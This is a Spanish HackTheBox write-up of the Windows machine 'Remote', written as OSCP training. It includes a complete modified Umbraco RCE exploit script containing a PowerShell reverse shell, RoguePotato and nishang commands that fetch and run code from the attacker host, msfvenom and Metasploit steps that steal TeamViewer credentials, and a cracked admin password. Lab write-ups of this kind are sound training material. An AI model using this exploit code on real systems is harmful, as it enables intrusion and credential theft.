Remote

Publicado: 16 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy

📝 Descripción

Remote es una máquina Windows de dificultad Easy que presenta múltiples vectores de ataque interesantes. La máquina ejecuta un CMS Umbraco vulnerable y expone servicios como FTP anónimo, SMB y NFS. El acceso inicial se logra a través de la enumeración del servicio NFS que expone backups del sitio web, permitiendo extraer credenciales del CMS. Una vez autenticado en Umbraco, se explota una vulnerabilidad de RCE para obtener una shell. La escalada de privilegios se puede realizar mediante el abuse del token SeImpersonatePrivilege usando RoguePotato, o alternativamente explotando credenciales almacenadas de TeamViewer.

🔭 Reconocimiento

🏓 Ping para verificación en base a TTL

❯ ping -c2 10.10.10.180
PING 10.10.10.180 (10.10.10.180) 56(84) bytes of data.
64 bytes from 10.10.10.180: icmp_seq=1 ttl=127 time=41.5 ms
64 bytes from 10.10.10.180: icmp_seq=2 ttl=127 time=43.7 ms

--- 10.10.10.180 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 41.538/42.602/43.667/1.064 ms

💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

🔍 Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.180 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
❯ echo $ports                             
21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680

🛠️ Enumeración de servicios

nmap -sC -sV -p$ports 10.10.10.180 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 08:36 CEST
Nmap scan report for 10.10.10.180
Host is up (0.042s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  nlockmgr      1-4 (RPC #100021)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-16T06:37:29
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 1s

🎯 Enumeración de Servicios

🌐 HTTP (Puerto 80)

Encontramos un sitio web que parece ser una tienda que está empleando el CMS Umbraco:

🔨 Fuzzing de directorios

Realizamos fuzzing con gobuster y encontramos algunos recursos interesantes:

gobuster dir -u http://10.10.10.180 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  -b 403,404 -x .php, .txt, .xml -r

🚪 Panel de administración

El recurso Install nos redirige a un panel de administración del CMS:

http://10.10.10.180/umbraco/#/login

### 📁 SMB (Puerto 445)

🔓 Sesión nula SMB

smbclient -N -L //10.10.10.180
enum4linux 10.10.10.180

Resultado: No obtenemos nada, parece que no está habilitada la sesión anónima de SMB

🗂️ NFS (Puerto 2049)

📋 Enumeración de recursos compartidos

Listamos acciones disponibles sobre el servicio NFS:

showmount -e 10.10.10.180

Encontramos un recurso llamado /site-backups

💾 Montaje y exploración

Creamos un directorio donde montar el recurso en nuestro host de ataque y lo exploramos:

mkdir target-NFS
sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
cd target-NFS
tree .

🔍 Análisis: Se trata de una copia de seguridad completa del sitio web que está empleando el CMS Umbraco.

🔑 Búsqueda de credenciales

🗃️ Base de datos: Las credenciales se están guardando en el fichero Umbraco.sdf, que es un archivo binario. Lo analizamos con strings:

Podemos ver que se trata de una copia de seguridad completa del sitio web que hemos enumerado anteriormente que está empleando el CMS Umbraco. Revisamos a ver si encontramos alguna credencial:

Las credenciales se están guardando en el fichero Umbraco.sdf, el problema es que este fichero es un binario, así que necesitamos intentar leerlo de la siguiente forma:

strings Umbraco.sdf | grep "admin"

🎯 Credenciales encontradas:

  • Usuario: admin@htb.local

  • Hash SHA-1: b8be16afba8c314ad33d812f22a04991b90e2aaa

Intenteamos crackear el hash con hashcat usando el diccionario rockyou:

hashcat -m 100 admin_hash_sha1 /usr/share/wordlists/rockyou.txt

Credenciales válidas: admin@htb.local:baconandcheese

🚀 Explotación Inicial

🔐 Acceso al panel de Umbraco

🔍 Identificación de la versión

🚨 Vulnerabilidad detectada: Esta versión es vulnerable a Remote Code Execution

Exploit público disponible: https://www.exploit-db.com/exploits/46153

Modificamos el exploit para que el payload sea una reverse shell mediante una conexión powershell codificada en base64

# Exploit Title: Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)
# Modified with reliable PowerShell reverse shell
# Original Author: Alexandre ZANNI (noraj)
# Improved by: [Your Name]

import requests
import base64
import argparse
from bs4 import BeautifulSoup

parser = argparse.ArgumentParser(prog='exploit.py',
    description='Umbraco authenticated RCE',
    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80))
parser.add_argument('-u', '--user', metavar='USER', type=str,
    required=True, dest='user', help='username / email')
parser.add_argument('-p', '--password', metavar='PASS', type=str,
    required=True, dest='password', help='password')
parser.add_argument('-i', '--host', metavar='URL', type=str, required=True,
    dest='url', help='root URL')
parser.add_argument('-c', '--command', metavar='CMD', type=str, required=False,
    dest='command', help='command')
parser.add_argument('-r', '--reverse', metavar='IP:PORT', type=str, required=False,
    dest='reverse', help='Reverse shell IP:PORT (uses PowerShell)')
args = parser.parse_args()

# Verificar que se proporcione al menos un comando o reverse shell
if not args.command and not args.reverse:
    parser.error('You must provide either --command or --reverse')

# Construir el payload según el modo
if args.reverse:
    ip, port = args.reverse.split(':')
    
    # PowerShell reverse shell encoded (more reliable)
    ps_command = f"$client = New-Object System.Net.Sockets.TCPClient('{ip}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"
    
    # Encode to Base64 to avoid special characters issues
    encoded_cmd = base64.b64encode(ps_command.encode('utf-16le')).decode()
    
    payload = f"""\
<?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() {{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = "-enc {encoded_cmd}"; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }}  </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\
"""
else:
    # Payload original para comandos simples
    payload = """\
<?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() {{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "{0}"; proc.StartInfo.Arguments = "{1}"; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }}  </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\
""".format(args.command.split(' ')[0], ' '.join(args.command.split(' ')[1:]) if ' ' in args.command else '')

# Configuración de la sesión
s = requests.session()
login_url = args.url + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
xslt_url = args.url + "/umbraco/developer/Xslt/xsltVisualize.aspx"

# Autenticación
try:
    login_response = s.post(login_url, json={"username": args.user, "password": args.password})
    if login_response.status_code != 200:
        print("[-] Authentication failed")
        exit(1)
except Exception as e:
    print(f"[-] Connection error: {str(e)}")
    exit(1)

# Obtener tokens para el formulario
try:
    xslt_response = s.get(xslt_url)
    soup = BeautifulSoup(xslt_response.text, 'html.parser')
    VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
    VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']
    UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']
except Exception as e:
    print(f"[-] Error getting form tokens: {str(e)}")
    exit(1)

# Preparar datos del formulario
headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN}
data = {
    "__EVENTTARGET": "",
    "__EVENTARGUMENT": "",
    "__VIEWSTATE": VIEWSTATE,
    "__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR,
    "ctl00$body$xsltSelection": payload,
    "ctl00$body$contentPicker$ContentIdValue": "",
    "ctl00$body$visualizeDo": "Visualize+XSLT"
}

# Ejecutar el payload
try:
    print("[*] Sending payload...")
    exploit_response = s.post(xslt_url, data=data, headers=headers, timeout=30)
    
    if args.reverse:
        print("[+] PowerShell reverse shell triggered. Check your listener!")
    else:
        soup = BeautifulSoup(exploit_response.text, 'html.parser')
        result = soup.find(id="result")
        if result:
            print(result.getText())
        else:
            print("[+] Command executed but no output returned (check if command produces output)")
except Exception as e:
    print(f"[-] Exploit failed: {str(e)}")

🎯 Ejecución del exploit

python umbraco_exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -r 10.10.14.8:9001

Capturamos la flag del usuario Public

🔝 Escalada de Privilegios

🛡️ Enumeración de privilegios

Revisamos los privilegios de nuestro usuario actual:

whoami /priv

🎯 Privilegio clave: Tenemos SeImpersonatePrivilege, perfecto para usar exploits tipo Potato.

⚠️ Nota importante: Es Windows Server 2019, por lo que JuicyPotato no funcionará, pero RoguePotato o JuicyPotatoNG sí.

https://github.com/antonioCoco/RoguePotato/releases

🥔 Método 1: RoguePotato

Descargamos una copia de RoguePotato.exe y lo disponibilizamos en nuestro host de ataque a través de un servidor web en python:

python3 -m http.server 80

Lo transferimos al host que intentamos comprometer

wget http://10.10.14.8/RoguePotato.exe -outfile RoguePotato.exe

Descargamos el script de powershell de nishang:

https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

Lo editamos y añadimos al final del todo nuestro payload para la conexión reversa indicando nuestro host de ataque y el puerto. Haremos que también esté disponible en nuestro servidor web en python.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 443

A continuación iniciaremos socat, en nuestro host de ataque para que escuche en el puerto 135 y redireccione al puerto TCP 9999:

socat tcp-listen:135,reuseaddr,fork tcp:10.10.10.180:9999

A continuación iniciamos un listener en nuestro host de ataque en el puerto 443:

rlwrap nc -lnvp 443

Por último ejecutamos el exploit en el host víctima de la siguiente forma:

.\RoguePotato.exe -r 10.10.14.8 -e "powershell -c iex( iwr http://10.10.14.8/shell.ps1 -UseBasicParsing )" -l 9999

Tal como se ve en la imagen anterior, el exploit se ejecuta correctamente y ejecuta el payload de la shell de nishang que hemos modificado para que se conecte a nuestro host de ataque ganando privilegios como usuario NT:

Finalmente capturamos la flag:

Enlace de referencia:https://0xdf.gitlab.io/2020/09/08/roguepotato-on-remote.html

🎭 Método Alternativo: TeamViewer

🔍 Enumeración de servicios

Cuando ganamos acceso inicial, enumeramos servicios en ejecución:

Get-Service | Where-Object { $_.Status -eq 'Running' }

🚨 Vulnerabilidad identificada

CVE-2019-18988: Esta versión es vulnerable y existe un módulo de Metasploit.

Pero antes, deberemos ganar una sesión de meterpreter, para ello podemos generar un payload con msfvenom, transferirlo a la víctima y ejecutarlo

🎛️ Configuración de Metasploit

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 10.10.14.8
set lport 9443

🔄 Generación de payload Meterpreter

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.10.14.8 lport=9443 -f exe -o exploit.exe

🔑 Extracción de credenciales

use post/windows/gather/credentials/teamviewer_passwords
set session 1
exploit

Ahora podríamos validarlas haciendo lo siguiente:

impacket-psexec administrator:'!R3m0te!'@10.10.10.180

![[Writeups/HTB/Road to OSCP/Lainkusanagi OSCP/Remote/24.png]]

Last updated